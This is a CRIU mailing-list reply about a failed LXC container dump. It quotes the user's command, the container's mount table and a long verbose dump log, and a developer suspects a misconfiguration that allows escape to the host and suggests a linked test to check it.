[CRIU] LXC DUMP ERROR

Andrew Vagin avagin at parallels.com
Fri Oct 3 05:46:39 PDT 2014


On Sat, Sep 13, 2014 at 01:01:10AM +0530, beproject criu wrote:
> I am trying to dump LXC container using following command
> 
> /sdcard # criu dump --root /usr/local/lib/lxc/rootfs/root --evasive-devices
> --tc
> p-established --file-locks -n net -n mnt -n ipc -n pid -vvvvvvvv -D data -o
> dump
> .log -t 79
> 
> but i get the following error :
> 
> Error (mount.c:517): Mount 58 (master_id: 12 shared_id: 0) has unreachable
> sharing
> 
> I have attached the dump.log file with the mail containing full log.
> 
> Content of mountpoint are:
>
> /sdcard # lxc-attach -n L cat /proc/self/mountinfo
> 16 16 0:2 / / rw - rootfs rootfs rw,size=373304k,nr_inodes=93326
> 17 16 0:4 / /proc rw,relatime - proc proc rw
> 18 16 0:11 / /sys rw,relatime - sysfs sysfs rw
> 19 18 0:12 / /sys/fs/cgroup rw,relatime - cgroup none
> rw,cpuset,debug,cpu,cpuacct,memory,devices,freezer,blkio,perf_event,clone_children
> 20 18 0:6 / /sys/kernel/debug rw,relatime - debugfs none rw
> 21 16 0:10 / /dev/pts rw,relatime - devpts devpts rw,mode=600,ptmxmode=000
> 22 16 179:0 / /sdcard rw,relatime - ext3 /dev/mmcblk0 rw,data=ordered
> 24 16 0:2 /usr/local/lib/lxc/rootfs /usr/local/lib/lxc/rootfs rw - rootfs
> rootfs rw,size=373304k,nr_inodes=93326
> 25 24 0:14 / /usr/local/lib/lxc/rootfs rw,relatime - tmpfs none rw,size=
> 12k,mode=755
> 35 25 179:0 /L/rootfs /usr/local/lib/lxc/rootfs/root rw,relatime shared:1 -
> ext3 /dev/mmcblk0 rw,data=ordered
> 36 35 0:13 / /usr/local/lib/lxc/rootfs/root/proc rw,relatime shared:2 - proc
> none rw
> 37 35 0:15 / /usr/local/lib/lxc/rootfs/root/sys rw,relatime shared:3 - sysfs
> none rw
> 26 35 0:16 / /usr/local/lib/lxc/rootfs/root/dev rw,nosuid,relatime shared:6 -
> tmpfs tmpfs rw,mode=755
> 27 26 0:10 / /usr/local/lib/lxc/rootfs/root/dev/pts rw,relatime shared:7 -
> devpts devpts rw,mode=600,ptmxmode=000
> 28 37 0:6 / /usr/local/lib/lxc/rootfs/root/sys/kernel/debug rw,relatime
> shared:4 - debugfs debugfs rw
> 29 37 0:17 / /usr/local/lib/lxc/rootfs/root/sys/fs/cgroup rw,relatime shared:5
> - tmpfs none rw,mode=750,gid=1000
> 30 35 0:18 / /usr/local/lib/lxc/rootfs/root/mnt/asec rw,relatime shared:8 -
> tmpfs tmpfs rw,mode=755,gid=1000
> 31 35 0:19 / /usr/local/lib/lxc/rootfs/root/mnt/obb rw,relatime shared:9 -
> tmpfs tmpfs rw,mode=755,gid=1000
> 32 35 31:0 / /usr/local/lib/lxc/rootfs/root/system ro,relatime shared:10 - ext4
> /dev/block/mtdblock0 ro,data=ordered
> 33 35 31:1 / /usr/local/lib/lxc/rootfs/root/data rw,nosuid,nodev,noatime
> shared:11 - ext4 /dev/block/mtdblock1 rw,data=ordered
> 34 35 31:2 / /usr/local/lib/lxc/rootfs/root/cache rw,nosuid,nodev,noatime
> shared:12 - yaffs2 /dev/block/mtdblock2 rw

Sorry for late response.

riya khanna showed me this problem a few mounth ago. Look at the
previous output. Do you expect to see so many mounts in a container? I
think you are not. Actually a half of them doesn't belong to CT. They
were inhereted from the host mount namespace. We are talking about this
problem now with Serge in lxc-devel. I think this configuration is
wrong, but I am not sure about this.

I have a suspicion, that we can escape from such containers.
beproject and riya, could you execute the attached program in a
container. This program will try to escape from it to the host mount
tree.
http://www.bpfh.net/simes/computing/chroot-break.html

If this program executes shell and gives you access to the host file
system, my suspicion is true. In this case we will need to fix LXC and
only then think how to support these containers in CRIU.

Thanks,
Andrew.


> 
> Thanks.
> 
> encl(1).

> /sdcard # criu dump --root /usr/local/lib/lxc/rootfs/root --evasive-devices --tc
> p-established --file-locks -n net -n mnt -n ipc -n pid -vvvvvvvv -D data -o dump
> .log -t 79
> 
> /sdcard # cat data/dump.log 
> (00.014845) ========================================
> (00.023441) Dumping processes (pid: 79)
> (00.023787) ========================================
> (00.028273) Found anon-shmem device at 1
> (00.030025) Reset 1554's dirty tracking
> (00.031317)  ... done
> (00.032221) Dirty tracking support is OFF
> (00.032820) irmap: Searching irmap cache in work dir
> (00.033102) irmap: Searching irmap cache in parent
> (00.033290) irmap: No irmap cache
> (00.033448) Writing image inventory (version 1)
> (00.036496) Collected 1.pid namespace
> (00.036853) Collected 2.net namespace
> (00.037119) Collected 3.ipc namespace
> (00.037392) Collected 4.uts namespace
> (00.038549) Collected 5.mnt namespace
> (00.038813) cg: Dumping cgroups for 1554
> (00.040824) cg:  `- New css ID 1
> (00.041042) cg:     `- [cpuset,debug,cpu,cpuacct,memory,devices,freezer,blkio,perf_event] -> [/]
> (00.041228) cg: Set 1 is criu one
> (00.045319) Seized task 79, state 1
> (00.050020) Seized task 82, state 0
> (00.053684) Collected 82 in 1 state
> (00.054093) Seized task 329, state 0
> (00.055834) 	Seizing 329's 351 thread
> (00.057406) 	Seizing 329's 352 thread
> (00.059006) 	Seizing 329's 353 thread
> (00.059948) 	Seizing 329's 358 thread
> (00.063195) Collected 329 in 1 state
> (00.063433) Seized task 330, state 0
> (00.065101) Collected 330 in 1 state
> (00.065292) Seized task 331, state 0
> (00.067225) Collected 331 in 1 state
> (00.070061) Seized task 332, state 0
> (00.071957) Collected 332 in 1 state
> (00.072141) Seized task 333, state 0
> (00.073258) 	Seizing 333's 363 thread
> (00.074120) 	Seizing 333's 421 thread
> (00.076397) Collected 333 in 1 state
> (00.076590) Seized task 335, state 0
> (00.078609) Collected 335 in 1 state
> (00.078851) Seized task 338, state 0
> (00.079918) 	Seizing 338's 690 thread
> (00.080689) 	Seizing 338's 691 thread
> (00.081428) 	Seizing 338's 692 thread
> (00.082184) 	Seizing 338's 693 thread
> (00.082955) 	Seizing 338's 694 thread
> (00.083703) 	Seizing 338's 695 thread
> (00.084419) 	Seizing 338's 696 thread
> (00.089769) Collected 338 in 1 state
> (00.090027) Seized task 339, state 0
> (00.091760) Collected 339 in 1 state
> (00.091943) Seized task 341, state 0
> (00.093031) 	Seizing 341's 407 thread
> (00.093837) 	Seizing 341's 408 thread
> (00.094803) 	Seizing 341's 409 thread
> (00.096147) 	Seizing 341's 423 thread
> (00.097164) 	Seizing 341's 424 thread
> (00.098942) 	Seizing 341's 425 thread
> (00.100421) 	Seizing 341's 426 thread
> (00.101326) 	Seizing 341's 441 thread
> (00.103974) 	Seizing 341's 797 thread
> (00.105055) 	Seizing 341's 1059 thread
> (00.115344) Collected 341 in 1 state
> (00.115653) Seized task 342, state 0
> (00.116861) 	Seizing 342's 362 thread
> (00.120989) Collected 342 in 1 state
> (00.121289) Seized task 343, state 0
> (00.122518) 	Seizing 343's 436 thread
> (00.124800) Collected 343 in 1 state
> (00.125026) Seized task 345, state 0
> (00.126358) 	Seizing 345's 447 thread
> (00.127340) 	Seizing 345's 448 thread
> (00.128315) 	Seizing 345's 449 thread
> (00.129123) 	Seizing 345's 450 thread
> (00.129928) 	Seizing 345's 452 thread
> (00.130679) 	Seizing 345's 456 thread
> (00.131403) 	Seizing 345's 770 thread
> (00.132132) 	Seizing 345's 824 thread
> (00.136261) Collected 345 in 1 state
> (00.138210) Seized task 346, state 0
> (00.140644) Collected 346 in 1 state
> (00.140955) Seized task 347, state 0
> (00.142956) Collected 347 in 1 state
> (00.143163) Seized task 348, state 0
> (00.144294) 	Seizing 348's 1484 thread
> (00.145197) 	Seizing 348's 1485 thread
> (00.146084) 	Seizing 348's 1486 thread
> (00.146839) 	Seizing 348's 1487 thread
> (00.148973) 	Seizing 348's 1490 thread
> (00.155496) Seized task 705, state 0
> (00.158285) 	Seizing 705's 708 thread
> (00.159374) 	Seizing 705's 710 thread
> (00.160252) 	Seizing 705's 713 thread
> (00.161081) 	Seizing 705's 714 thread
> (00.161926) 	Seizing 705's 715 thread
> (00.162750) 	Seizing 705's 716 thread
> (00.163571) 	Seizing 705's 717 thread
> (00.164350) 	Seizing 705's 718 thread
> (00.165245) 	Seizing 705's 719 thread
> (00.166102) 	Seizing 705's 720 thread
> (00.166938) 	Seizing 705's 721 thread
> (00.167907) 	Seizing 705's 722 thread
> (00.168835) 	Seizing 705's 723 thread
> (00.169696) 	Seizing 705's 725 thread
> (00.171710) 	Seizing 705's 726 thread
> (00.173084) 	Seizing 705's 727 thread
> (00.173964) 	Seizing 705's 728 thread
> (00.174811) 	Seizing 705's 729 thread
> (00.175714) 	Seizing 705's 730 thread
> (00.176560) 	Seizing 705's 732 thread
> (00.177674) 	Seizing 705's 738 thread
> (00.179059) 	Seizing 705's 739 thread
> (00.180419) 	Seizing 705's 744 thread
> (00.182092) 	Seizing 705's 745 thread
> (00.183722) 	Seizing 705's 752 thread
> (00.184986) 	Seizing 705's 753 thread
> (00.185990) 	Seizing 705's 757 thread
> (00.186829) 	Seizing 705's 758 thread
> (00.189810) 	Seizing 705's 759 thread
> (00.190928) 	Seizing 705's 760 thread
> (00.191770) 	Seizing 705's 761 thread
> (00.192579) 	Seizing 705's 762 thread
> (00.193792) 	Seizing 705's 763 thread
> (00.195795) 	Seizing 705's 764 thread
> (00.196868) 	Seizing 705's 765 thread
> (00.198247) 	Seizing 705's 766 thread
> (00.199260) 	Seizing 705's 767 thread
> (00.200144) 	Seizing 705's 768 thread
> (00.200978) 	Seizing 705's 769 thread
> (00.201842) 	Seizing 705's 771 thread
> (00.202867) 	Seizing 705's 772 thread
> (00.203943) 	Seizing 705's 774 thread
> (00.206264) 	Seizing 705's 775 thread
> (00.207879) 	Seizing 705's 777 thread
> (00.209263) 	Seizing 705's 778 thread
> (00.210354) 	Seizing 705's 779 thread
> (00.211992) 	Seizing 705's 795 thread
> (00.213272) 	Seizing 705's 796 thread
> (00.214253) 	Seizing 705's 798 thread
> (00.215155) 	Seizing 705's 800 thread
> (00.215976) 	Seizing 705's 807 thread
> (00.216807) 	Seizing 705's 816 thread
> (00.217901) 	Seizing 705's 866 thread
> (00.218890) 	Seizing 705's 887 thread
> (00.220023) 	Seizing 705's 893 thread
> (00.221339) 	Seizing 705's 895 thread
> (00.226095) 	Seizing 705's 896 thread
> (00.227674) 	Seizing 705's 923 thread
> (00.228737) 	Seizing 705's 924 thread
> (00.229608) 	Seizing 705's 962 thread
> (00.230441) 	Seizing 705's 1039 thread
> (00.231235) 	Seizing 705's 1042 thread
> (00.232045) 	Seizing 705's 1189 thread
> (00.232878) 	Seizing 705's 1327 thread
> (00.233850) 	Seizing 705's 1328 thread
> (00.261262) Collected 705 in 1 state
> (00.261624) Seized task 780, state 0
> (00.263775) 	Seizing 780's 786 thread
> (00.264905) 	Seizing 780's 787 thread
> (00.266324) 	Seizing 780's 788 thread
> (00.268092) 	Seizing 780's 789 thread
> (00.269140) 	Seizing 780's 790 thread
> (00.269967) 	Seizing 780's 791 thread
> (00.270750) 	Seizing 780's 792 thread
> (00.271507) 	Seizing 780's 793 thread
> (00.272269) 	Seizing 780's 794 thread
> (00.273039) 	Seizing 780's 814 thread
> (00.275112) 	Seizing 780's 815 thread
> (00.275988) 	Seizing 780's 867 thread
> (00.276763) 	Seizing 780's 996 thread
> (00.279454) 	Seizing 780's 997 thread
> (00.280625) 	Seizing 780's 1060 thread
> (00.281430) 	Seizing 780's 1061 thread
> (00.282223) 	Seizing 780's 1068 thread
> (00.283136) 	Seizing 780's 1185 thread
> (00.292004) Collected 780 in 1 state
> (00.292275) Seized task 848, state 0
> (00.293640) 	Seizing 848's 850 thread
> (00.294501) 	Seizing 848's 851 thread
> (00.295360) 	Seizing 848's 852 thread
> (00.296195) 	Seizing 848's 853 thread
> (00.297006) 	Seizing 848's 856 thread
> (00.298133) 	Seizing 848's 857 thread
> (00.299113) 	Seizing 848's 860 thread
> (00.299953) 	Seizing 848's 861 thread
> (00.300783) 	Seizing 848's 862 thread
> (00.301580) 	Seizing 848's 1004 thread
> (00.309911) Collected 848 in 1 state
> (00.310195) Seized task 902, state 0
> (00.311420) 	Seizing 902's 907 thread
> (00.312211) 	Seizing 902's 908 thread
> (00.312987) 	Seizing 902's 909 thread
> (00.313742) 	Seizing 902's 912 thread
> (00.314475) 	Seizing 902's 913 thread
> (00.315187) 	Seizing 902's 914 thread
> (00.315912) 	Seizing 902's 916 thread
> (00.316652) 	Seizing 902's 919 thread
> (00.319161) 	Seizing 902's 920 thread
> (00.324459) Collected 902 in 1 state
> (00.324680) Seized task 925, state 0
> (00.327589) 	Seizing 925's 929 thread
> (00.328620) 	Seizing 925's 932 thread
> (00.329450) 	Seizing 925's 933 thread
> (00.330220) 	Seizing 925's 934 thread
> (00.331012) 	Seizing 925's 935 thread
> (00.331771) 	Seizing 925's 936 thread
> (00.332529) 	Seizing 925's 937 thread
> (00.333267) 	Seizing 925's 938 thread
> (00.334058) 	Seizing 925's 939 thread
> (00.334814) 	Seizing 925's 995 thread
> (00.335654) 	Seizing 925's 1000 thread
> (00.336462) 	Seizing 925's 1003 thread
> (00.337201) 	Seizing 925's 1005 thread
> (00.338763) 	Seizing 925's 1006 thread
> (00.339621) 	Seizing 925's 1007 thread
> (00.340459) 	Seizing 925's 1008 thread
> (00.341211) 	Seizing 925's 1016 thread
> (00.342007) 	Seizing 925's 1018 thread
> (00.342869) 	Seizing 925's 1041 thread
> (00.345217) 	Seizing 925's 1321 thread
> (00.346776) 	Seizing 925's 1322 thread
> (00.348640) 	Seizing 925's 1323 thread
> (00.350908) 	Seizing 925's 1408 thread
> (00.352226) 	Seizing 925's 1409 thread
> (00.353177) 	Seizing 925's 1410 thread
> (00.366936) Collected 925 in 1 state
> (00.367214) Seized task 940, state 0
> (00.368686) 	Seizing 940's 943 thread
> (00.369532) 	Seizing 940's 944 thread
> (00.370303) 	Seizing 940's 947 thread
> (00.371030) 	Seizing 940's 949 thread
> (00.371807) 	Seizing 940's 950 thread
> (00.372551) 	Seizing 940's 952 thread
> (00.373292) 	Seizing 940's 953 thread
> (00.374019) 	Seizing 940's 955 thread
> (00.374760) 	Seizing 940's 956 thread
> (00.375522) 	Seizing 940's 994 thread
> (00.376249) 	Seizing 940's 1001 thread
> (00.383407) Collected 940 in 1 state
> (00.383676) Seized task 964, state 0
> (00.385045) 	Seizing 964's 968 thread
> (00.385940) 	Seizing 964's 969 thread
> (00.386795) 	Seizing 964's 972 thread
> (00.388369) 	Seizing 964's 973 thread
> (00.389825) 	Seizing 964's 974 thread
> (00.391558) 	Seizing 964's 975 thread
> (00.392881) 	Seizing 964's 976 thread
> (00.393876) 	Seizing 964's 977 thread
> (00.394720) 	Seizing 964's 978 thread
> (00.395534) 	Seizing 964's 1010 thread
> (00.396386) 	Seizing 964's 1013 thread
> (00.397206) 	Seizing 964's 1014 thread
> (00.399949) 	Seizing 964's 1022 thread
> (00.407217) Collected 964 in 1 state
> (00.407643) Seized task 1023, state 0
> (00.409157) 	Seizing 1023's 1026 thread
> (00.410112) 	Seizing 1023's 1027 thread
> (00.411008) 	Seizing 1023's 1030 thread
> (00.411901) 	Seizing 1023's 1031 thread
> (00.412763) 	Seizing 1023's 1033 thread
> (00.413801) 	Seizing 1023's 1034 thread
> (00.414702) 	Seizing 1023's 1035 thread
> (00.416860) 	Seizing 1023's 1036 thread
> (00.454043) 	Seizing 1023's 1037 thread
> (00.474336) 	Seizing 1023's 1048 thread
> (00.476450) 	Seizing 1023's 1049 thread
> (00.478820) 	Seizing 1023's 1242 thread
> (00.479900) 	Seizing 1023's 1243 thread
> (00.480807) 	Seizing 1023's 1262 thread
> (00.481698) 	Seizing 1023's 1371 thread
> (00.482627) 	Seizing 1023's 1389 thread
> (00.483513) 	Seizing 1023's 1390 thread
> (00.484401) 	Seizing 1023's 1391 thread
> (00.485261) 	Seizing 1023's 1392 thread
> (00.486277) 	Seizing 1023's 1394 thread
> (00.487132) 	Seizing 1023's 1407 thread
> (00.488250) 	Seizing 1023's 1421 thread
> (00.489113) 	Seizing 1023's 1546 thread
> (00.501041) Collected 1023 in 1 state
> (00.501329) Seized task 1062, state 0
> (00.502799) 	Seizing 1062's 1069 thread
> (00.503723) 	Seizing 1062's 1070 thread
> (00.504609) 	Seizing 1062's 1071 thread
> (00.505540) 	Seizing 1062's 1072 thread
> (00.508091) 	Seizing 1062's 1073 thread
> (00.509294) 	Seizing 1062's 1074 thread
> (00.510214) 	Seizing 1062's 1075 thread
> (00.511048) 	Seizing 1062's 1076 thread
> (00.511905) 	Seizing 1062's 1077 thread
> (00.513293) 	Seizing 1062's 1097 thread
> (00.520320) Collected 1062 in 1 state
> (00.520591) Seized task 1078, state 0
> (00.522104) 	Seizing 1078's 1081 thread
> (00.523085) 	Seizing 1078's 1083 thread
> (00.525468) 	Seizing 1078's 1085 thread
> (00.526404) 	Seizing 1078's 1086 thread
> (00.527841) 	Seizing 1078's 1087 thread
> (00.529963) 	Seizing 1078's 1089 thread
> (00.530947) 	Seizing 1078's 1090 thread
> (00.531816) 	Seizing 1078's 1091 thread
> (00.532634) 	Seizing 1078's 1092 thread
> (00.533422) 	Seizing 1078's 1123 thread
> (00.534324) 	Seizing 1078's 1124 thread
> (00.535273) 	Seizing 1078's 1125 thread
> (00.536139) 	Seizing 1078's 1126 thread
> (00.536977) 	Seizing 1078's 1128 thread
> (00.538259) 	Seizing 1078's 1141 thread
> (00.546217) Collected 1078 in 1 state
> (00.546474) Seized task 1107, state 0
> (00.548103) 	Seizing 1107's 1111 thread
> (00.549111) 	Seizing 1107's 1114 thread
> (00.550071) 	Seizing 1107's 1116 thread
> (00.550961) 	Seizing 1107's 1117 thread
> (00.551835) 	Seizing 1107's 1118 thread
> (00.552697) 	Seizing 1107's 1119 thread
> (00.553609) 	Seizing 1107's 1120 thread
> (00.555035) 	Seizing 1107's 1121 thread
> (00.556644) 	Seizing 1107's 1122 thread
> (00.559954) 	Seizing 1107's 1178 thread
> (00.565329) Collected 1107 in 1 state
> (00.565556) Seized task 1127, state 0
> (00.566904) 	Seizing 1127's 1131 thread
> (00.568397) 	Seizing 1127's 1135 thread
> (00.570665) 	Seizing 1127's 1136 thread
> (00.571745) 	Seizing 1127's 1137 thread
> (00.572667) 	Seizing 1127's 1138 thread
> (00.573660) 	Seizing 1127's 1139 thread
> (00.574583) 	Seizing 1127's 1140 thread
> (00.576785) 	Seizing 1127's 1142 thread
> (00.577987) 	Seizing 1127's 1143 thread
> (00.578821) 	Seizing 1127's 1165 thread
> (00.579742) 	Seizing 1127's 1166 thread
> (00.585237) Collected 1127 in 1 state
> (00.585477) Seized task 1150, state 0
> (00.586842) 	Seizing 1150's 1156 thread
> (00.588230) 	Seizing 1150's 1157 thread
> (00.589213) 	Seizing 1150's 1158 thread
> (00.590110) 	Seizing 1150's 1159 thread
> (00.590959) 	Seizing 1150's 1160 thread
> (00.591829) 	Seizing 1150's 1161 thread
> (00.594166) 	Seizing 1150's 1162 thread
> (00.595309) 	Seizing 1150's 1163 thread
> (00.596379) 	Seizing 1150's 1164 thread
> (00.598100) 	Seizing 1150's 1171 thread
> (00.599711) 	Seizing 1150's 1273 thread
> (00.606396) Collected 1150 in 1 state
> (00.606623) Seized task 1209, state 0
> (00.608281) 	Seizing 1209's 1215 thread
> (00.610803) 	Seizing 1209's 1216 thread
> (00.613864) 	Seizing 1209's 1217 thread
> (00.615610) 	Seizing 1209's 1218 thread
> (00.616709) 	Seizing 1209's 1219 thread
> (00.617803) 	Seizing 1209's 1220 thread
> (00.618814) 	Seizing 1209's 1221 thread
> (00.619734) 	Seizing 1209's 1222 thread
> (00.620545) 	Seizing 1209's 1223 thread
> (00.621299) 	Seizing 1209's 1240 thread
> (00.628277) Collected 1209 in 1 state
> (00.628544) Seized task 1224, state 0
> (00.630025) 	Seizing 1224's 1230 thread
> (00.630939) 	Seizing 1224's 1231 thread
> (00.631926) 	Seizing 1224's 1232 thread
> (00.632966) 	Seizing 1224's 1233 thread
> (00.633966) 	Seizing 1224's 1234 thread
> (00.634855) 	Seizing 1224's 1235 thread
> (00.635815) 	Seizing 1224's 1236 thread
> (00.636747) 	Seizing 1224's 1237 thread
> (00.638190) 	Seizing 1224's 1238 thread
> (00.639622) 	Seizing 1224's 1252 thread
> (00.641332) 	Seizing 1224's 1260 thread
> (00.642819) 	Seizing 1224's 1261 thread
> (00.645068) 	Seizing 1224's 1356 thread
> (00.651902) Collected 1224 in 1 state
> (00.652870) Seized task 1244, state 0
> (00.655092) 	Seizing 1244's 1247 thread
> (00.656076) 	Seizing 1244's 1250 thread
> (00.657245) 	Seizing 1244's 1253 thread
> (00.658249) 	Seizing 1244's 1254 thread
> (00.659122) 	Seizing 1244's 1255 thread
> (00.661145) 	Seizing 1244's 1256 thread
> (00.662425) 	Seizing 1244's 1257 thread
> (00.663340) 	Seizing 1244's 1258 thread
> (00.664146) 	Seizing 1244's 1259 thread
> (00.664888) 	Seizing 1244's 1411 thread
> (00.670458) Collected 1244 in 1 state
> (00.670719) Seized task 1275, state 0
> (00.672140) 	Seizing 1275's 1277 thread
> (00.673168) 	Seizing 1275's 1282 thread
> (00.674152) 	Seizing 1275's 1283 thread
> (00.675086) 	Seizing 1275's 1284 thread
> (00.675989) 	Seizing 1275's 1285 thread
> (00.676847) 	Seizing 1275's 1286 thread
> (00.679520) 	Seizing 1275's 1287 thread
> (00.680840) 	Seizing 1275's 1289 thread
> (00.681900) 	Seizing 1275's 1290 thread
> (00.687838) Collected 1275 in 1 state
> (00.688127) Seized task 1294, state 0
> (00.689617) 	Seizing 1294's 1300 thread
> (00.690586) 	Seizing 1294's 1301 thread
> (00.691510) 	Seizing 1294's 1302 thread
> (00.692454) 	Seizing 1294's 1303 thread
> (00.693541) 	Seizing 1294's 1304 thread
> (00.697757) 	Seizing 1294's 1305 thread
> (00.698996) 	Seizing 1294's 1306 thread
> (00.699966) 	Seizing 1294's 1307 thread
> (00.700874) 	Seizing 1294's 1308 thread
> (00.701815) 	Seizing 1294's 1315 thread
> (00.702883) 	Seizing 1294's 1316 thread
> (00.703881) 	Seizing 1294's 1317 thread
> (00.705043) 	Seizing 1294's 1331 thread
> (00.706191) 	Seizing 1294's 1332 thread
> (00.715776) Collected 1294 in 1 state
> (00.716072) Seized task 1339, state 0
> (00.717758) 	Seizing 1339's 1342 thread
> (00.718813) 	Seizing 1339's 1345 thread
> (00.719777) 	Seizing 1339's 1347 thread
> (00.720890) 	Seizing 1339's 1348 thread
> (00.722226) 	Seizing 1339's 1349 thread
> (00.723625) 	Seizing 1339's 1350 thread
> (00.725207) 	Seizing 1339's 1351 thread
> (00.727551) 	Seizing 1339's 1352 thread
> (00.730672) 	Seizing 1339's 1353 thread
> (00.731666) 	Seizing 1339's 1366 thread
> (00.732687) 	Seizing 1339's 1367 thread
> (00.733649) 	Seizing 1339's 1440 thread
> (00.734552) 	Seizing 1339's 1441 thread
> (00.735476) 	Seizing 1339's 1449 thread
> (00.736372) 	Seizing 1339's 1450 thread
> (00.743123) Collected 1339 in 1 state
> (00.743370) Seized task 1374, state 0
> (00.744759) 	Seizing 1374's 1375 thread
> (00.747462) 	Seizing 1374's 1379 thread
> (00.748555) 	Seizing 1374's 1380 thread
> (00.749514) 	Seizing 1374's 1381 thread
> (00.750494) 	Seizing 1374's 1382 thread
> (00.752081) 	Seizing 1374's 1383 thread
> (00.753594) 	Seizing 1374's 1387 thread
> (00.755105) 	Seizing 1374's 1395 thread
> (00.756466) 	Seizing 1374's 1396 thread
> (00.758622) 	Seizing 1374's 1403 thread
> (00.760332) 	Seizing 1374's 1405 thread
> (00.769682) Collected 1374 in 1 state
> (00.769986) Seized task 1412, state 0
> (00.771525) 	Seizing 1412's 1418 thread
> (00.772515) 	Seizing 1412's 1419 thread
> (00.773496) 	Seizing 1412's 1420 thread
> (00.774416) 	Seizing 1412's 1422 thread
> (00.775317) 	Seizing 1412's 1423 thread
> (00.776213) 	Seizing 1412's 1424 thread
> (00.777129) 	Seizing 1412's 1425 thread
> (00.778355) 	Seizing 1412's 1426 thread
> (00.781983) 	Seizing 1412's 1427 thread
> (00.782834) 	Seizing 1412's 1431 thread
> (00.783795) 	Seizing 1412's 1434 thread
> (00.784714) 	Seizing 1412's 1462 thread
> (00.785669) 	Seizing 1412's 1473 thread
> (00.792292) Collected 1412 in 1 state
> (00.792550) Seized task 1455, state 0
> (00.794001) 	Seizing 1455's 1461 thread
> (00.794967) 	Seizing 1455's 1463 thread
> (00.795889) 	Seizing 1455's 1464 thread
> (00.796789) 	Seizing 1455's 1465 thread
> (00.799392) 	Seizing 1455's 1467 thread
> (00.800388) 	Seizing 1455's 1468 thread
> (00.801301) 	Seizing 1455's 1469 thread
> (00.802253) 	Seizing 1455's 1470 thread
> (00.803068) 	Seizing 1455's 1472 thread
> (00.803849) 	Seizing 1455's 1479 thread
> (00.810681) Collected 1455 in 1 state
> (00.810977) Seized task 1483, state 0
> (00.812547) 	Seizing 1483's 1488 thread
> (00.813536) 	Seizing 1483's 1489 thread
> (00.815893) 	Seizing 1483's 1491 thread
> (00.816926) 	Seizing 1483's 1492 thread
> (00.818487) 	Seizing 1483's 1493 thread
> (00.820878) 	Seizing 1483's 1494 thread
> (00.821995) 	Seizing 1483's 1495 thread
> (00.822973) 	Seizing 1483's 1496 thread
> (00.823941) 	Seizing 1483's 1497 thread
> (00.824880) 	Seizing 1483's 1500 thread
> (00.825800) 	Seizing 1483's 1501 thread
> (00.826726) 	Seizing 1483's 1502 thread
> (00.827674) 	Seizing 1483's 1503 thread
> (00.829272) 	Seizing 1483's 1504 thread
> (00.830357) 	Seizing 1483's 1505 thread
> (00.832659) 	Seizing 1483's 1508 thread
> (00.833815) 	Seizing 1483's 1510 thread
> (00.834771) 	Seizing 1483's 1511 thread
> (00.835736) 	Seizing 1483's 1514 thread
> (00.836662) 	Seizing 1483's 1515 thread
> (00.837598) 	Seizing 1483's 1516 thread
> (00.838726) 	Seizing 1483's 1518 thread
> (00.849591) Collected 1483 in 1 state
> (00.853377) Collected 348 in 1 state
> (00.853609) Seized task 349, state 0
> (00.855348) Collected 349 in 1 state
> (00.855530) Seized task 350, state 0
> (00.856619) 	Seizing 350's 355 thread
> (00.859070) Collected 350 in 1 state
> (00.860221) Collected 79 in 1 state
> (00.860730) Will take pid namespace in the image
> (00.860909) Collected 6.pid namespace
> (00.861144) Will take net namespace in the image
> (00.861287) Collected 7.net namespace
> (00.861542) Will take ipc namespace in the image
> (00.861693) Collected 8.ipc namespace
> (00.862158) Will take uts namespace in the image
> (00.862381) Collected 9.uts namespace
> (00.862750) Will take mnt namespace in the image
> (00.863166) Collected 10.mnt namespace
> (00.878406) Collected 11.mnt namespace
> (00.907124) Lock network
> (00.907385) Running network-lock scripts
> (00.911267) lockinfo: 1:POSIX ADVISORY READ 1150 1f:01:7423 128 128
> (00.911822) lockinfo: 2:POSIX ADVISORY READ 1150 1f:01:7380 1073741826 1073742335
> (00.912062) lockinfo: 3:POSIX ADVISORY READ 1150 1f:01:7363 128 128
> (00.912295) lockinfo: 4:POSIX ADVISORY READ 1150 1f:01:7357 1073741826 1073742335
> (00.912514) lockinfo: 5:POSIX ADVISORY READ 705 1f:01:14124 128 128
> (00.912746) lockinfo: 6:POSIX ADVISORY READ 705 1f:01:14122 1073741826 1073742335
> (00.913479) Dump MNT namespace (mountpoints) 11 via 348
> (00.915345) 	type unsupported source /dev/mmcblk0 b300000 /L/rootfs @ ./ flags 280000 options data=ordered,
> (00.916931) 	type proc source none d / @ ./proc flags 280000 options 
> (00.917335) 	type sysfs source none f / @ ./sys flags 280000 options 
> (00.917681) 	type debugfs source debugfs 6 / @ ./sys/kernel/debug flags 280000 options 
> (00.918170) 	type tmpfs source none 11 / @ ./sys/fs/cgroup flags 280000 options mode=750,gid=1000,
> (00.918431) 	type tmpfs source tmpfs 10 / @ ./dev flags 280002 options mode=755,
> (00.918744) 	type devpts source devpts a / @ ./dev/pts flags 280000 options mode=600,ptmxmode=000,
> (00.919016) 	type tmpfs source tmpfs 12 / @ ./mnt/asec flags 280000 options mode=755,gid=1000,
> (00.919278) 	type tmpfs source tmpfs 13 / @ ./mnt/obb flags 280000 options mode=755,gid=1000,
> (00.919541) 	type unsupported source /dev/block/mtdblock0 1f00000 / @ ./system flags 280001 options data=ordered,
> (00.919824) 	type unsupported source /dev/block/mtdblock1 1f00001 / @ ./data flags 80406 options data=ordered,
> (00.920084) 	type unsupported source /dev/block/mtdblock2 1f00002 / @ ./cache flags 80406 options 
> (00.920491) Building mountpoints tree
> (00.920653) 	Building plain mount tree
> (00.920808) 		Working on 58->47
> (00.920943) 		Working on 57->47
> (00.921077) 		Working on 56->47
> (00.921209) 		Working on 55->47
> (00.921341) 		Working on 54->47
> (00.921503) 		Working on 53->52
> (00.921635) 		Working on 52->47
> (00.921787) 		Working on 51->49
> (00.921920) 		Working on 50->49
> (00.922051) 		Working on 49->47
> (00.922183) 		Working on 48->47
> (00.922314) 		Working on 47->46
> (00.922447) 	Resorting siblings on 47
> (00.922582) 	Resorting siblings on 58
> (00.922733) 	Resorting siblings on 57
> (00.922872) 	Resorting siblings on 56
> (00.923005) 	Resorting siblings on 55
> (00.923140) 	Resorting siblings on 54
> (00.923291) 	Resorting siblings on 52
> (00.923425) 	Resorting siblings on 53
> (00.923558) 	Resorting siblings on 49
> (00.923690) 	Resorting siblings on 51
> (00.923839) 	Resorting siblings on 50
> (00.923972) 	Resorting siblings on 48
> (00.924106) Error (mount.c:517): Mount 58 (master_id: 12 shared_id: 0) has unreachable sharing
> (00.924298) Unlock network
> (00.924430) Running network-unlock scripts
> (00.925009) Unfreezing tasks into 1
> (00.925155) 	Unseizing 79 into 1
> (00.925537) 	Unseizing 82 into 1
